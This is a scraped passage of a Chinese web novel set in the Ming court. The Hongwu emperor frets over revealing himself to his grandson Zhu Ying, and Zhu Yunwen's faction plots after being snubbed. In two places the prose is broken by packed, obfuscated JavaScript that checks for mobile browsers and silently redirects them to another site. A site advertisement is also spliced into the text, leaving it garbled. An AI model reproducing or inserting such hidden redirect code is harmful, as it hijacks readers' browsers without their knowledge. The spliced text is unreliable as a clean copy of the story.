天子行事,何须向人解释? 可现在,这些评价化作刺,扎在他心头。 他记得,前几日与朱煐相处时的场景。当自己试探着聊起当今圣上时,那孩子只是应着,话里听不出什么。 “皇帝,从朱煐口中吐出的这两个字,是一个称呼。没有敬畏,也没有憎恨,只有距离。 那种距离,比任何指责都让他难受。 这让他心里不是滋味。 一股酸涩从胸膛涌到喉头。 自己在民间的形象已经定型,这影响到了大孙对自己的第一印象。 这一点,老朱心里明白。 他必须改变。 这一个月,是他登基以来,最难熬的一个月。 也是他对自己下手最重的一个月。 他强迫自己收起杀气。 他感觉自己快习惯了,快不会发脾气了。 就在今天早朝。 一个户部官员奏事,前言不搭后语,几处钱粮数目都说错。 若是往日,他早已发怒。 “拖出去! “杖责二十! 这会是他的反应。 可今天,他只将朱笔往御案上一顿,闷响让群臣心头一颤。 然后,他斥责几句,便让那官员下去。 他控制着语气。 让每个字都落在实处,不砸向对方。 让声线平稳,不带威压。 他要让自己看起来,像个长辈。 老朱做这一切,只有一个目的。 为了在朱煐心中,将传言里的“皇帝,换上一个“老丈的模样。 为了将来的相认,铺路。 每一次见到朱煐,他胸中都有一股冲动,想抓住那孩子的肩膀,告诉他一切。 告诉他,你是朕的亲孙,是大明的血脉! 可他不能。 他只能压抑这股冲动,将所有情感,都化作关心和问候。 远远地看着。 爷孙总归要相认。 大明,也需要一个继承人。 只是相认的时机,必须小心。 他转身走回御案后,从奏报堆里,抽出了一叠用牛皮纸包裹的密报。 这是他命人整理的,关 于朱煐过去十八年经历的记录。 每一份,他都反复翻阅了不知多少遍。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453745|185274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 纸张的边缘已被他的指腹摩挲得起了毛边。 他用手指,划过纸上文字,仿佛这样,就能触摸到那孩子度过的岁月。 仿佛这样,就能弥补他作为爷爷,缺席的时光。 倘若是宫中长大的皇孙,性子再不好管,老朱也有办法拿捏。 可偏偏是朱煐。 那孩子的脾气,是悬崖上扎根的青松,不是可以修剪的盆景。 那股认定了什么事,就一条道走到黑的犟劲,让老朱感到熟悉。 这性子,和他年轻时一样。 他害怕。 怕自己铺垫好一切,在一个自认合适的时机,坦白了身份。 结果,预想的父慈子孝、爷孙情深没有出现。 迎接他的,是朱煐讥讽与不信的眼睛。 他甚至能想象那个画面—— 自己话音未落,那孩子便冷笑一声,没有多余言语,只一拂衣袖,转身就走。 宁死不屈。 留下他一人,坐在这皇宫里,守着这江山。 这个可能性,很大! 一想到这里,老朱感到一阵心悸,他下意识伸出手,按在自己胸口。 而这第二点,就是朱煐的心境。 说来这第二桩心事,老朱嘴角扯动,那弧度里没有笑意,只有无奈。 这桩忧虑,根子就在他那个大孙,朱煐的能力上。 自打朱煐的身影第一次出现在奉天殿的朝堂,这大明权力中枢的池水,便被搅动了。 不,甚至不能说是搅动。 更像是滚油之中,落入一块寒冰。 那些在宦海沉浮几十年的文武重臣,在他那大孙面前,竟连一次上风都占不到。 老朱的指节敲击着桌面,笃,笃,笃。 思绪飘回了上次大朝会。 那日,户部、礼部、兵部的尚书侍郎联手发难,罗织罪名,引用典故,织成一张网,要将朱煐彻底钉死在朝堂。 整个大殿的空气都绷紧。 官员们或垂首,或侧目,或幸灾乐祸,或捏着汗。 可他的孙子,那个被**的中心,只是立在那里。 朝服穿在他身上 小说更新,记住域名caixs囍(请来才 小说 看最新章节 完整章节)身姿挺拔不像被围猎倒像在后院散步。 面对指控朱煐脸上没有波澜。 那些攻讦如同耳畔的风吹不动他的心。 众人说完他才抬眼目光扫过那些或红或青的脸。 然后他开口了。 没有辩白没有反驳只用几句话便剖开对方论调的筋骨将私心与构陷暴露在众人目光下。 那一刻老朱坐在龙椅上看着下方那些方才还气势汹汹的大臣此刻却面如死灰冷汗浸透官袍。他心中一半欣慰一半担忧。 一个连自己人头和九族存亡都不在乎的人。 这满朝文武拿什么与他斗? 对垒的勇气都被一次次消磨又如何能给他麻烦磨砺其心性? 一入朝堂再无敌手。 不行。绝对不行! 老朱的手指停下按在桌面上。 一柄未遇坚石的剑锋芒再盛也是虚火。一旦遇上精钢怕是要崩断。 治国不是一场辩论赛。 那需要的不止是智计和锐气更需要的是在泥潭血水里滚过在一次次失败中淬炼出的那份坚韧。 现在咱还坐在这里龙椅还没凉。 大孙捅出天大的篓子咱也能豁出这张老脸动用这皇权替他把屁股擦干净。 可将来呢? 万一咱两腿一蹬将这江山尽数交到他的手上他若还是这般不知艰险因为一时大意真来个“大意失荆州”那这大明可就真的坏了! 一念及此一声叹息终究还是从老朱的胸膛中逸出。 他的目光从虚空中拉回重新落在那堆积如山的奏章上。 烛火跳动将那朱批的红映照得如同血。 偌大的一个大明啊。 想要将它稳稳地扛在肩上哪里是那般容易的事情? 咱的大孙是他很优秀天赋之高连咱年轻时都多有不如。 可老朱的心依旧悬着。 这江山社稷这皇权帝位从远处看是金碧辉煌固若金汤。 可靠近了贴上去了才知道这水面之下是何等汹涌的暗流。 稍有不慎便是万劫不复的深渊 。 这一桌案的奏章,背后就是千千万万嗷嗷待哺的百姓,是数百万枕戈待旦的军士。 他们的生死,他们的荣辱,全凭皇帝一人,手中那支朱笔的起落。 北方边患未停,鞑靼的马蹄声就在耳边。 江南的赋税,士绅与官府勾结,难以清查。 西南的土司时叛时降,下了安抚的诏书,也可能换来反叛。 每一件事,都牵扯许多人的性命,牵动国本。 朝堂上的官员,许多都表里不一。 那些跪在脚下的臣子,口呼万岁,心里想的却是自家的算盘。 老朱既是担心朱煐,也是担心他一手打下来的大明。 他怕。 他怕自己百年之后,这江山会压垮这个孙儿。 老朱望着桌案上的烛火。 火光燃烧,耗尽蜡泪,驱散黑暗。 这光,像他的大孙,不知身在何处,亦不知安危。 想着,老朱抬起头,望向殿中那道身影。 烛光下,蒋瓛的身影在墙上拉长,像鬼魅。 “蒋瓛。” 老朱的声音打破了寂静。 那道影子动了。 “陛下。” 蒋瓛立刻躬身垂首,声音很低,仿佛怕惊扰了这夜。 “等咱日后不在了,你替咱多看着点下面的人,别让他们骗了咱大孙。” 老朱声音沙哑,透出疲惫,每个字都说得费力。 这不是那个杀伐果决的洪武大帝。 这是一个行将就木,为子孙前路担心的老人。 蒋瓛身躯微震。 他垂下眼帘,遮住所有情绪,只有攥紧的拳心泄露了他内心的波动。 这话,是托孤。 君王将嘱托交给了他。 他与御座上的这位君王,关系并非从一开始就如此。 恰恰相反,在很长一段时间里,他们的关系冰冷得只剩下两个词:君与臣,主与刀。 锦衣卫都指挥使。 这个名号,在大明朝堂之上,足以让百官闻之色变,能令小儿夜不敢啼。 可坐在这个位置上的人,自己最清楚这份权柄的本质。 他们是帝王悬在所有人头顶的利刃, 第96章 储君之位已是囊中之物! 与此同时。 另一边。 朱允炆、黄子澄和齐泰离开朱煐府上,一同回到东宫。 马车里没人说话。 只有车轮碾过青石路面的声音,一下又一下。 谁都没有开口。 东宫。 他们踏入宫殿,那股沉闷的气氛也跟着进来了。 殿内烛火摇晃。 烛光将三个男人的影子投在金砖地面上,拉长、变形。 他们的脸色在烛光下忽明忽暗。 黄子澄找了个位置。 齐泰也找了地方坐下。 可两人都坐不稳,身体里透着一股焦躁。 他们时不时抬眼,目光对上,又马上移开。 那一眼里,有惊疑,有茫然,还有恐惧。 朱允炆低着头,缩在宽大的袍服里。 他的手指无意识地捻着衣角的金线云纹,一遍又一遍,像是要把丝线捻断。 沮丧的情绪包裹着他。 主位上,坐着吕氏。 她一言不发,脊背挺直,头上的凤钗在烛光下闪着冷光。 她的脸绷着,目光在朱允炆、黄子澄、齐泰三人身上来回地看。 她在等一个解释。 但没人能给出解释。 今天发生的事,把他们所有人都打蒙了。 这算什么? 黄子澄与齐泰再次对视。 这一次,他们没躲开,都从对方眼里看到了无力感。 是挫败。 为官多年,他们自认能算计人心。 这种彻底的挫败感,他们从未有过。 面对朝堂上的政敌,甚至是藩王,他们都有办法设局。 他们习惯了言语交锋的胜利,习惯了掌控一切。 可面对那个朱煐. 他们所有的计谋、手段和经验,都失效了。 那种感觉,就像用尽全力打出一拳,结果却砸进了雾里。 没有回音,没有阻挡。 所有的力量,就这么消失了。 这个混账,根本不按常理来。 去之前,他们推演过每一步,想过朱煐可能有的每一种反应,反复商议过。 最终得出的结论,无懈可 击。 此计,天衣无缝。 朱煐,必然就范。 可为什么? 为什么剧情的发展,会偏离到如此荒谬的境地? 黄子澄的指甲深深掐进了掌心。 他的大脑在飞速运转,试图从这团乱麻中理出哪怕一根线头。 按照常理,他们的建议没有任何问题。 他们放下了身段。 他们甚至带上了皇孙殿下。 退一万步讲,就算你朱煐对我们在朝堂上的发难心怀怨怼,可你总不能不看皇孙殿下的面子吧? 冤家宜解不宜结。 这个道理,三岁小儿都懂! 我们是什么身份? 当朝重臣!帝师! 我们亲自登门,这姿态放得还不够低吗?这已经不是简单的道歉,这是“负荆请罪! 为了大局,为了殿下的安稳,我们连为官者最看重的颜面都舍弃了。 人言? 让天下人去说吧!说我们无能也好,说我们被一个竖子逼到府上请罪也罢。 我们都认了。 你朱煐,总该给个台阶下吧? 毕竟,在这场风波里,你毫发无损。 你甚至还因此得了名声。 反而是我们,丢尽了脸面,成了整个京城的笑柄。 我们顶着这天大的羞辱,主动上门来为你洗刷“冤屈,为你递上和解的橄榄枝。 这做得,已经是仁至义尽了吧? 换做任何一个正常人,一个懂得官场规则、懂得人情世故的正常人,都应该顺水推舟,接受这份好意。 然后,握手言和,皆大欢喜。 这才是正常的剧本! 可结果呢? 结果那个家伙,居然连门都没让他们进! 就那么隔着一道门,把他们晾在外面,像是打发几个无关紧要的乞丐。 齐泰的呼吸变得粗重起来。 他想不通。 他真的想不通。 最让他感到荒谬和愤怒的是,他们手中明明握着一张无人可以拒绝的王牌。 允炆殿下! 大明的皇长孙! 是板上钉钉的储君!是未来天下的主人! 这难道还不够 分量吗? 得罪我们两个老臣,或许你朱煐有恃无恐。 可当着未来皇帝的面,如此折辱他身边的近臣,这无异于是在打未来皇帝的脸! 他怎么敢? 他凭什么敢? 难道他看不清这天下大势? 难道**,得罪了允炆殿下,就等于断送了自己在大明所有的前程? 结果呢? 结果你丫的居然半点面子都不给? 朱煐的操作,那份不加掩饰的、近乎野蛮的狂悖,如同一记响亮的耳光,狠狠抽在东宫所有人的脸上。 黄子澄的视线落在空处。他脑中是白天同僚们的目光,惊愕、怜悯,还有藏不住的幸灾乐祸。 他,翰林学士,与齐泰联手为皇孙铺路,却被一个不按常理出牌的朱煐,在众人面前,撕碎了他们布下的网。 那不是计策的失败,而是他们所信奉的规矩、体统、尊卑,被彻底无视了。 这世上怎么会有这样的人? 怎么敢有这样的人? 齐泰背脊挺直,袖中的拳头攥得指节发白。他感到脸颊还在发烫,像一道烙印。 他们曾向吕娘娘、向皇孙殿下信誓旦旦地保证过,那份笃定,如今想来就是个笑话。 他们丢了脸面是小事,可皇孙的威信,因此蒙上了一层阴影。 储君的威信一旦受损,想要弥补,难如登天。 房间里又是一阵沉默。 天色全黑了,远处的更漏声传来,一下,又一下。宫人踮着脚走进来,又点亮了更多的烛火。 光线亮了,却驱不散众人心里的阴霾,反而让彼此脸上的颓唐更加清楚。 黄子澄先动了。 他喉结滚动,从座位上起身,走到房间中央,撩起官袍下摆,跪了下去。 “殿下。” 他的声音干涩。 “此次计策,皆由臣一人而发,思虑不周,致使殿下受辱,臣.罪该万死。” 他俯下身,额头磕在金砖地面上,发出一声闷响。 “但请殿下责罚。” 齐泰脸色一变,立刻起身跟上,在黄子澄身旁跪下。 “殿下,此计乃我与黄大人共同商议,臣亦难辞其咎。” 他的 声音比黄子澄清亮但也充满了愧意。 “还请殿下一同责罚。” 朱允炆看着跪在面前的两位臣子心头一震。他从座位上起身快步上前去扶。 他走得急带乱了衣袂。 “黄师傅齐大人你们这是做什么呢?” 他的声音带着焦急没了储君的架子。 “现在是说这个的时候吗?” 他的手碰到两位师傅的手臂能感到他们肌肉僵硬。 “孤也从未怪过你们。” 朱允炆看着两人语气真诚。 “这计划孤也是同意了的。要说错那孤也有错。” 这句话让黄子澄和齐泰心里一暖。 两人抬起头看向朱允炆。皇孙的脸上没有责备只有关切。那份暖意从心底升起让两位老臣眼眶泛红。 他们对视一眼看到了对方眼中的复杂情绪。 有羞愧有自责更多的是感动。 “此次本宫以为错在朱煐。” 一个清冷的声音切入了这番景象。 是吕氏。 她一直端坐在上首姿态和神情都未变。她的声音不高却让房间里的温度降了几分。 “非两位大人之过。” 吕氏一开口便定了性。 她没追究计策得失也没安抚谁而是直接指出了症结。 朱煐。 当这个名字被再次提起刚刚缓和的气氛又绷紧了。 黄子澄和齐泰脸上的感动还未褪去就被苦涩盖过。他们慢慢站直身体低下了头。 朱允炆原本温和的脸色在听到这个名字时也变得难看。 他扶着两位师傅的手不自觉收紧指节凸显出来。 朱煐 一切都是因为朱煐. 这个名字像一根刺扎进了他心里。 那是一个无法用常理揣度的人。 一个无视规矩、体统将皇权视为儿戏的人。 你布下天罗地网他看都不看直接掀了你的棋盘再反手给你一巴掌。 你愤怒 他就像一团抓不住的影子你一拳打在棉花上所有力气都消失了。 常人的法子,只能对付常人。 可朱煐,不是常人。 朱允炆的呼吸有些急促,胸口发闷。他松开手,踱了两步,眼中的光芒不定。 他想起那些朝臣的目光,想起朱煐那副云淡风轻的模样,一阵无力感抓住了他。 他停下脚步,转过身,看向自己最信赖的两位谋臣。 “黄师傅,齐大人” 他的声音不稳,带着自己都能察觉的不确定。 “那我们这.” 他顿住了,不知道该怎么说下去,储君的威仪此刻荡然无存。 他吸了口气,问出了那个问题。 “接下来,该当如何?” 他的目光在黄子澄和齐泰之间移动,带着期盼和一丝不安。 殿内,烛火晃动,将人影投在金砖地面上,拉长又缩短。空气沉闷。 朱允炆的指节一下下叩击着紫檀木桌面。这声音在寂静的暖阁里,敲在每个人的心上。 他的母亲吕氏,身为皇太子妃,此刻正用力绞着丝帕,眼神里满是忧虑。 一旁的齐泰低着头,眉头紧锁,像是在想办法,却又想不出来。 “换个角度想?怎么想?” 朱允炆的声音打破了沉默,带着烦躁和质问。 他看着面前的黄子澄,眼神里没有了平时的温和,只剩下焦灼。 黄子澄没有立刻回答。 他站起身,走到窗边,望向宫墙外的夜色。 在场所有人的视线都跟着他移动。 他转过身,脸上没有慌乱,反而很从容。 “殿下,我们首先要明白一件事。” 黄子澄的声音不高,却清晰地传到每个人耳中。 “陛下为何要设下这个考验?” 这个问题,让朱允炆的眉头皱得更深。 “自然是看我有没有能力,能不能担起这大明江山。” “不。” 黄子澄的回答很干脆。 “这只是其一,并非全部。” 他停顿片刻,让众人消化这句话,然后才压低声音开口。 “换个角度,既然是陛下对殿下的考验,那我们是不是可以认为,虽然陛下尚未公布,但实际上殿下已是大明未 来的储君,大明未来之主? 这句话让朱允炆、齐泰和吕氏心头一震。 储君! 大明之主! 这几个字,他们只敢在心里想,从未有人敢说出口。 黄子澄没有理会他们的神情,继续往下说。 “殿下的唯一对手就是允熥殿下。 “但眼下允熥殿下的性子,懦弱不堪,沉稳不足,在陛下的眼中,他能胜任这个位置吗?他能压得住满朝的骄兵悍将吗? “答案,你知,我知,陛下心中更知。 “那么眼下的局势就很明朗了。 黄子澄的视线重新回到朱允炆身上,目光灼灼。 “事实上无论考验通不通过,陛下他的选择都有且仅有殿下一人。 他的话语如同一把钥匙。 “咔嚓一声。 打开了众人心中那道最沉重、最坚固的枷锁。 朱允炆猛地抬起头,呼吸骤然变得急促。 他一直以来的思维,都建立在一个前提上——他必须通过考验,才能成为皇太孙。 可黄子澄却告诉他,这个前提,根本就是错的。 他不是在争取一个位置。 他只是在向所有人证明,他配得上这个本就属于他的位置! “既然如此. 黄子澄的声音带着一丝笑意,仿佛已经看到了拨云见日后的景象。 “那陛下的考验,也只是为了看看殿下的能力。 他环视众人,看到他们脸上的神情从震惊转为思索,最后化为恍然。 “如此而言,那我们为什么要纠结于如何收服中兴侯呢? 这个问题,问得齐泰和朱允炆都是一愣。 是啊,为什么? 这些日子,他们所有的心力,所有的谋划,都围绕着那个桀骜不驯的朱煐。 他们想了无数种方法,威逼、利诱、怀柔.却始终不得其门而入。 那个少年侯爵,就像一块又臭又硬的石头,让他们束手无策,也让朱允炆的自信心备受打击。 “以中兴侯的脾气性子,他连陛下的账都不买,又岂会轻易对殿下您俯首称臣? 黄子澄的语气越来越自信,仿佛已经洞悉了一切。 “我们越是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453746|185274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想收服他,姿态放得越低,在他眼中,或许就越是可笑。” “这种人,是喂不熟的狼。” “但同样的,他也是最纯粹的刀。” “只要日后殿下登临大宝,君临天下,他这把刀,自然也就会为您所用,支持殿下。因为他忠于的,从来不是某个人,而是大明的江山社稷,是那个至高无上的位置!” 这一番剖析,鞭辟入里,振聋发聩。 朱允炆只觉得眼前豁然开朗。 一直以来压在心头的那座大山,似乎在瞬间崩塌了。 “殿下如今要做的,不是去讨好一条狼,更不是去琢磨怎么把石头焐热。” 黄子澄的目光最终落在朱允炆身上,那眼神中充满了殷切的期许。 “您要做的,是如何在陛下面前,淋漓尽致地展露您的能力,如何让陛下满意您的能力。” 能力 朱允炆喃喃自语。 他一直以为,怀柔、仁德,就是他要向皇爷爷展示的能力。 可现在看来,或许皇爷爷想看的,并不仅仅是这些。 “能力该如何凸显?” 黄子澄似乎看穿了他的心思,微微一笑,主动抛出了答案。 “陛下想看的,是储君的决断,是未来君主的威严。” “一味的仁德,那是佛陀,不是帝王。” “臣以为,那个不识时务,屡屡与中兴侯为难的朱御史,就是一个很好的磨刀石。” “不知殿下以为如何?” 黄子澄的笑容里,带着几分深不见底的寒意。 那笑容,让暖阁内的温度都仿佛下降了几分。 轰! 黄子澄一番话,落入齐泰、朱允炆和吕氏的耳中,不亚于平地惊雷! 这番话犹如一道横贯天际的闪电,瞬间劈开了他们心中所有的迷雾与困惑。 是啊! 是这个道理啊! 一直以来,他们都走入了一个死胡同。 他们将“收服朱煐”当成了最终目的,却忘了这仅仅只是一个过程,一个考验。 考验的重点,从来不是结果,而是身处其中的人,会做出什么样的选择,展现出什么样的手腕。 齐泰的 后背,不知不觉间已经被冷汗浸透。 他看着黄子澄,眼神复杂。 同为东宫讲官,他自问学识不在黄子澄之下,可论及这洞察人心、剖析时局的狠辣与精准,自己确实是输了一筹。 吕氏眼中的忧虑也一扫而空,取而代之的是一种前所未有的亮光。 她看向自己的儿子,目光中充满了激动与期待。 而朱允炆,他呆坐在那里,一动不动。 但他的眼眸中,却闪烁着异样的光芒。 那光芒,从一丝微弱的火星开始,迅速燎原,越来越亮,越来越炽热,仿佛要将这深沉的夜色都彻底点燃。 那是重新找回的自信。 更是被点燃的野心! 之前是自己局限了? 是自己将皇爷爷想得太简单了? 朱允炆不由得开始反思起了自己.这些日子以来,他一直被“收服朱煐”这个念头死死地束缚住了手脚,动弹不得。 先前朱允炆考虑到的是,收服朱煐是老朱对他的考验,所以为了收服朱煐,朱允炆甘心服软,小心翼翼,为的就是以怀柔的方式收服。 可现在想来,这或许并不是唯一的路。 黄子澄的话音落下,室内便陷入了一片死寂。 唯有烛火偶尔爆开一星灯花,发出轻微的“噼啪”声。 朱允炆端坐着,身形纹丝不动,可脑海里却掀起了滔天巨浪。 此前,他所有的思绪都拧成了一个死结,一个名为“朱煐”的死结。皇爷爷的每一道目光,每一次垂询,都像是一柄无形的重锤,狠狠砸在这个结上,让它越收越紧,紧到让他喘不过气。 他被困在这方寸之地,眼前只有一条路——收服朱煐。 可这条路,是悬崖,是绝壁。 他走不通。 现在,黄子澄的话,却不是为他在这绝壁上凿出一条路,而是直接告诉他,何必非要攀爬这座峭壁? 考验,考验的是方方面面的能力。 “收服朱煐,只是一种能力的体现。” 这句话在他脑中反复出现,把他自己设下的限制给打破了。 他一下想通了。 就像眼前忽然亮了,过去没想到的路,现在都出现在面前。 收服朱煐,确实能证明能力。 但这只是证明能力的一种方法,不是唯一的方法。 这个想法让朱允炆胸口一松,连日的郁结都散了。他的指尖开始发抖,不是因为害怕,而是因为兴奋。 他眼珠转动的速度越来越快,开始疯狂地回味、咀嚼、消化黄子澄的每一句话。 这个想法太过惊世骇俗,却又如此的合情合理! 他一直都想错了。 他将皇爷爷出的考题,当成了一道只有唯一解的算术题。 可皇爷爷是谁?那是开创了大明江山的太祖皇帝!他的心思,他的格局,又岂会局限于区区一个朱煐身上? 倘若按照黄师傅所言 皇爷爷他,只是想看到我的能力? 他想看到的,是一个合格的继承者所应具备的种种才能,然后加以引导,加以培养? 而并非是执拗地想看到孤,去收服那个茅坑里的石头一样又臭又硬的朱煐? 这个念頭,讓朱允炆的心脏猛地一縮,随即不受控制地狂跳起来。 咚!咚!咚! 每一次搏动,都像战鼓擂响,震得他耳膜嗡鸣,血液的温度节节攀升。 不,不對。 他立刻又在心中修正了这个想法。 更准确的说法应该是,孤如果能够顺利收服朱煐,皇爷爷自然能从这件事上,直观地看到孤驾驭群臣的能力。 这会是一份完美的答卷。 但,如果孤不能收服朱煐呢? 如果孤从其他的方面,从朝堂的另一端,让皇爷爷看到孤毫不逊色的能力. 那不也行吗? 这个念头一定,朱允炆只觉得压在脊梁上的那座无形大山,瞬间崩塌。 他整个人都松弛了下来,后背靠在椅背上,发出了一声满足的喟叹。 多日来的阴霾,被这道思想的曙光彻底驱散。 他的眼睛,不由自主地亮了起来,那光芒,比桌案上的烛火更加灼人。 一旦转变思路,眼前的景象瞬间天翻地覆! 方才还觉得是死胡同,是绝路。 可现在放眼望去,条条大路通罗马! 不,是条条大路,都通往东宫那至高无上的储君之位! 他 第97章 不好意思的凉国公 又是一日过去。 天色转暗。 夜色吞没了宫墙。 远处传来宫门落锁的响声,一声,又一声,在宫道上回荡。 那是隔绝两个世界的声音。 黄子澄与齐泰的身影消失在殿门外。两人离去时躬身行礼。脚步声顺着石阶远去,被风吹散。 宫中不允外臣留宿。 这是太祖皇帝定下的规矩,除非皇帝发话,无人敢于逾越。 脚步声消失,东宫正殿陷入安静。 殿内,只剩下朱允炆和母亲吕氏。 宫人上前,点燃烛台。烛火驱散了殿内的暗,光影在地面上摇动,照出母子二人的身影。 “娘。” 朱允炆开口,声音在颤。 他凝视着吕氏,她的眼眸在烛光下有了光亮。 吕氏端坐不动。 她的脸没有波澜。但她袖袍下的手,指节已发白,攥住衣料,指甲嵌进掌心。 一股念头正在她心底冲刷。 他们母子,黄子澄,齐泰,所有为储位费心的人,此刻的思绪都被同一件事劈中。 他们忽略了一件事。 一件摆在明面上,却被自身情绪掩盖的事。 当局者迷。 这件事,在争储开始前,所有人都知道。 时光在朱允炆脑中倒流。 为什么? 为什么朝中官员,会选择把赌注押在他身上? 朱允炆的呼吸快了起来。 他想起来了。 原因之一,他没有背景。 背后没有军功集团,没有地方势力。他只是在文华殿读书长大的皇孙。对文官集团而言,选择他风险最小,也最符合利益。 而另一个原因,决定了一切. 他的对手,弱。 他唯一的对手,吴王朱允熥,他的弟弟,在所有人眼中,只是一个影子。 他没有竞争力。 这个念头在朱允炆脑中炸开,他身体一颤。 是的,就是这样。 当初,即便是蓝玉还如日中天,那位大明军神手握兵权,意图强行扶持自己的外孙朱允熥上位,挟整个淮西勋贵集团之势,朝堂上又有几人真正认为朱允熥能赢? 没有。 大部分的朝臣,依然不认为那个孱弱的吴王,能在储位之争里掀起任何风浪。 一个连自己都放弃了自己的人,谁会为他拼上身家性命? 这,才是当初绝大部分官员选择自己的核心原因。 不是因为自己有多么超凡脱俗的才能,而是因为对手根本不配作为对手。 这是一个简单到近乎羞辱人的事实。 可笑的是,随着父皇朱标薨逝,随着皇爷爷的目光在他们兄弟二人身上游移,随着“争储二字真正悬在了所有人的头顶. 他,朱允炆,还有他的母亲,他的老师,他所有的支持者,全都忘了这一点。 人就是这样。 当你极度渴求一件东西时,你的心就会失去平衡。 你的视野会变得狭窄,你的判断会被恐惧和欲望扭曲。 你眼中的蝼蚁,也会被无限放大,变成一只择人而噬的猛虎。 争储开始后,他紧张。 他的每一根神经都紧绷着,日夜研读奏章,揣摩皇爷爷的每一个眼神,每一个动作,唯恐行差踏错一步,便坠入万丈深渊。 他的母亲吕氏,表面上比谁都镇定,用她的沉静安抚着整个东宫。可朱允炆知道,在无人看见的深夜,母亲心中的焦虑与煎熬,比他只多不少。 还有黄子澄,齐泰,那些将身家性命与自己绑定的臣子们。他们日夜谋划,推演着每一种可能,将朱允熥和其背后的淮西一脉视作心腹大患,殚精竭虑,不敢有半点疏漏。 所有人都被卷入了这个名为“争储的巨大漩涡。 身在局中,被巨大的压力与紧张感包裹,以至于所有人都下意识地,集体性地,忽略掉了那个最关键,也最可笑的起点。 那就是朱允熥 他压根,就不配争储! 朱允炆的嘴角,一抹弧度不受控制地扬起,越扬越高。 他想起了过去的朱允熥。 在蓝玉权势最盛,整个淮西武人集团还能在朝堂上拍着胸脯大声说话的时候,朱允熥做了什么? 他什么都没做。 他甚至不敢争。 他整日将自己关在东宫的偏殿,对外宣称偶感风寒,连最重要的朝会都一再称病缺席。那副 畏缩的样子,连宫里的太监都看不起。 一个身后站着大明军神,站着开国第一功臣集团的皇孙,却连站出来为自己说一句话的勇气都没有。 而现在呢? 现在! 蓝玉,那个曾经让整个朝堂都为之侧目的“墓冢之虎”,如今真的快要活成一座坟墓了。他被皇爷爷削去了所有实权,困于府中,在朝堂上几乎成了一个哑巴。 随着蓝玉的失势,曾经不可一世的淮西一脉,也彻底沉寂了。 朝堂之上,再也听不到他们那粗豪激昂的争辩声。 文官集团的声音,成了奉天殿内唯一的主流。 甚至于,朱允熥本人,都已经被挪出了东宫。 这本身就是一个强烈的信号。 东宫,是储君的居所。 他被挪出去,就已经代表了皇爷爷的态度。 据说,他现在整日将自己关在吴王府里,闭门不出,连府门都极少踏出一步。 一个连太阳都不愿意见的人,还妄图染指太阳的光辉? 朱允炆的胸膛剧烈起伏了一下,长长地,长长地呼出了一口浊气。 那口气息,带走了数月以来积压在心头的全部阴霾与重负。 这一刻,他感觉自己前所未有的轻松。 那还有什么好操心的? 还有什么可紧张的? 还有什么需要日夜谋划,如临大敌的? 他们一直在同一个自己幻想出来的鬼影搏斗。 皇储之位,看似悬而未决,风雨飘摇。 可拨开所有被恐惧与欲望制造的迷雾之后,真相是如此的简单,如此的清晰。 御座上的皇爷爷,只剩一个选择。那个选择,就是他,朱允炆。 朱允炆的心在沉寂数日后,再次搏动,震得他四肢发麻。 一口气从喉咙冲出。 他明白了。 困扰母子多日的谜题,被黄师傅一句话点破。原来皇爷爷并非厌弃他,而是在考验他。 这个念头生根,驱散了心头的怀疑。殿内烛火未增,朱允炆却觉得眼前亮了,连空气中的微尘都可见。 对面的吕氏,心中同样起伏。 她攥紧袖口,指节泛白。她呼吸加快,胸口起伏。 一道光,也照进了她的心底。 “听你黄师傅的,没错。 吕氏开口,声音里还有颤抖,但语气已不容置疑。 她抬起眼,目光锁定自己的儿子。那眼神不见了忧虑,变得锐利。 “既然你皇爷爷想看你的本事,你就得拿出能力和魄力来。 她的声音在殿内回响。 “拿出太孙的气度,拿出君临天下的魄力! 吕氏往前踏了一步。 “别让你皇爷爷觉得你和朱允熥那小子一样懦弱。提到朱允熥时,她唇角勾起。“遇事便哭,一无是处。那不是皇孙,是伶人!大明的江山,不需要软骨头的皇帝。 “该强硬时就得强硬!这一句,她的声音压低。 话音落下,吕氏抬手抚摸朱允炆的头顶。掌心传来温度。她的眼神里,有对他的期望,也有自己的决心。 “娘亲,孩儿晓得! 朱允炆抬头,与母亲对视。他眼中重新有了光。 他腰背挺直,下颌收紧,抛开了过去的担忧和退缩。 皇爷爷要看,便让他看清楚! “去吧。 吕氏收回手,眼中闪动光泽。 “去御膳房,给你皇爷爷炖鸡汤送去。 她的声音放轻。 “这道汤,是臣子的忠,也是孙子的孝。 朱允炆的眼睛更亮了。 他领悟了母亲的意思。能力与魄力是君主所需,但皇爷爷也是祖父。手段之外,也要有血脉温情。刚柔并济,恩威并施。 “你不光要让你皇爷爷看到你的能力,还得让他感受到你的孝心。吕氏嘱咐道,“德才兼备的皇帝才是好皇帝。 她凝望自己的儿子。 “是,母亲。 朱允炆应下,没有迟疑。他对着吕氏一躬,而后转身,大步朝殿外走去。 来时的压抑一扫而空。 他的步伐有了力量。每一步都踏在青石板上,也踏向权力的顶峰。 心头那块叫“猜忌的石头被搬开,他感觉身体变轻了。 殿外的风吹在脸上,让他精神一振。 朱允炆的脚步,越来越快。 月轮高悬,清冷的辉光 如水银泻地,将整座庭院浸染成一片霜白。 朱煐的府邸之内,却是另一番景象。 灯火摇曳,暖光驱散了夜的寒意。廊庑下悬挂的灯笼,在晚风的吹拂下轻轻晃动,投在地上的影子随之拉长、缩短,变幻不定。 